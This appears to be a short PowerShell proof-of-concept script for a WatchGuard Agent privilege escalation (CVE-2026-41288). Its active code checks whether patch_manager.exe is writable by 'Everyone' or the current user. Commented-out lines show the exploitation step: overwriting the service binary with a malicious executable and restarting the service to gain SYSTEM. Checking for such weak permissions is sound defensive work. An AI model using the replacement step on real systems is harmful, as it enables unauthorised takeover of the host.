CVE-2026-41288 WatchGuard Agent权限提升漏洞

# PoC for CVE-2026-41288: WatchGuard Agent Local Privilege Escalation # This script demonstrates checking for weak permissions on a service binary. $TargetFile = "C:\Program Files\WatchGuard\WatchGuard Agent\patch_manager.exe" $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name Write-Host "[*] Checking permissions for: $TargetFile" try { $Acl = Get-Acl $TargetFile $AccessRules = $Acl.AccessToString # Check if 'Everyone' or current user has Write access if ($AccessRules -match "Write" -and ($AccessRules -match "Everyone" -or $AccessRules -match $CurrentUser)) { Write-Host "[+] Vulnerable! Write permissions detected." Write-Host "[*] An attacker could replace the binary to gain SYSTEM privileges." # Simulated exploitation (commented out) # Copy-Item "malicious.exe" -Destination $TargetFile -Force # Restart-Service -Name "WatchGuardPatchSvc" } else { Write-Host "[-] No obvious write permissions found for the current user." } } catch { Write-Host "[-] Error accessing file: $_" }